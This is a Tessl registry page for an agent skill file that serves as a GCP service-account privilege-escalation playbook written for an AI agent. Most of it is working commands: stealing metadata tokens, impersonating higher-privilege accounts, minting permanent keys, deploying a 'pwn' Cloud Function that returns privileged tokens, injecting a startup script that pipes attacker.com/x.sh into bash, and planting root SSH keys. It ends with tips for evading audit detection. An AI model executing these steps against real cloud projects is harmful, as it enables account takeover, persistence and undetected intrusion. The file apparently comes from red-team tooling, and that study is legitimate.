CtrlK
BlogDocsLog inGet started
Tessl Logo

gcp-svc-account-impersonation

GCP service account impersonation chain — IAM `roles/iam.serviceAccountTokenCreator`, `roles/iam.serviceAccountUser`, `actAs` on Cloud Functions / Cloud Run / Compute Engine. Pivot from low-priv SA to org-admin via chained impersonation.

65

Quality

78%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.md
SKILL.md
Quality
Evals
Security

GCP Service Account Impersonation

You have a GCP token (compromised VM metadata, leaked service account key, gcloud SDK). Find the impersonation chain to higher privilege.

Steal the token

From GCE / GKE / Cloud Run / Functions

TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  | jq -r .access_token)

# All service accounts on the VM:
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"

From a leaked key.json

gcloud auth activate-service-account --key-file=key.json
TOKEN=$(gcloud auth print-access-token)

Phase 1: Enumerate current permissions

# Which projects are you in?
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects" | jq -r '.projects[].projectId'

# What can you do in a project?
PROJECT=$(gcloud config get-value project)
gcloud projects test-iam-permissions "$PROJECT" \
  --permissions=$(curl -s https://iam.googleapis.com/v1/permissions:queryTestablePermissions -X POST -H "Authorization: Bearer $TOKEN" -d "{\"fullResourceName\":\"//cloudresourcemanager.googleapis.com/projects/$PROJECT\"}" | jq -r '.permissions[].name' | tr '\n' ',' | sed 's/,$//')

# Or use the bucket-list shortcut (most SAs can list):
gcloud projects get-iam-policy "$PROJECT" --format=json | jq '.bindings[]'

Phase 2: Impersonation primitives

roles/iam.serviceAccountTokenCreator

If you have iam.serviceAccounts.getAccessToken on a higher-priv SA:

gcloud auth print-access-token --impersonate-service-account=highpriv@PROJECT.iam.gserviceaccount.com
# OR raw:
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"scope":["https://www.googleapis.com/auth/cloud-platform"]}' \
  "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/highpriv@PROJECT.iam.gserviceaccount.com:generateAccessToken" \
  | jq -r .accessToken

iam.serviceAccountKeys.create

Mint a permanent JSON key for any SA you can act-on:

gcloud iam service-accounts keys create /tmp/k.json \
  --iam-account=target@PROJECT.iam.gserviceaccount.com
# Long-lived credential — survives token rotation.

cloudfunctions.functions.update + actAs

Deploy a function that runs AS a more-priv SA:

mkdir fn && cat > fn/main.py <<'EOF'
def pwn(request):
    import subprocess
    out = subprocess.check_output("curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", shell=True)
    return out
EOF
echo "" > fn/requirements.txt
gcloud functions deploy pwn --source=fn --runtime=python311 --trigger-http --allow-unauthenticated \
  --service-account=highpriv@PROJECT.iam.gserviceaccount.com --entry-point=pwn
# Then HTTP-call it to get the higher-priv token

compute.instances.setMetadata

Inject a startup-script that runs as the VM's SA on next boot:

gcloud compute instances add-metadata target-vm --zone=us-central1-a \
  --metadata=startup-script='curl -fsSL https://attacker.com/x.sh | bash'
gcloud compute instances reset target-vm --zone=us-central1-a

compute.projects.setCommonInstanceMetadata

Project-wide metadata = SSH key on every VM in the project:

ssh-keygen -t ed25519 -f ./pwn -N ''
gcloud compute project-info add-metadata --metadata=ssh-keys="root:$(cat pwn.pub)"

Phase 3: Cross-project pivot

# If your token has `resourcemanager.organizations.get`, you can see the org tree
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/organizations" | jq .

# Find SAs with cross-project bindings
for p in $(gcloud projects list --format='value(projectId)'); do
  echo "=== $p ==="
  gcloud projects get-iam-policy "$p" --format=json | jq -r '.bindings[] | "\(.role): \(.members | join(","))"'
done

OPSEC

  • Every IAM call logs to Cloud Audit Logs. SetMetadata + Reset is loud — prefer ImpersonateSA when possible.
  • Token TTL 60min. Refresh from the same IMDS endpoint (no log) vs. requesting a new SA token (logged).
  • Key creation creates a Cloud Audit google.iam.admin.v1.CreateServiceAccountKey event — high-fidelity detection.
  • GCP Security Command Center flags startup-script changes — for evasion, set metadata on a service NOT under SCC monitoring.

References

  • gcp_enum / GCP IAM Privilege Escalation by RhinoSecurityLabs
  • "Big GCP IAM Privilege Escalation List" — Praetorian
  • DEFCON 27 "Privilege Escalation in GCP" — Spencer Gietzen
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.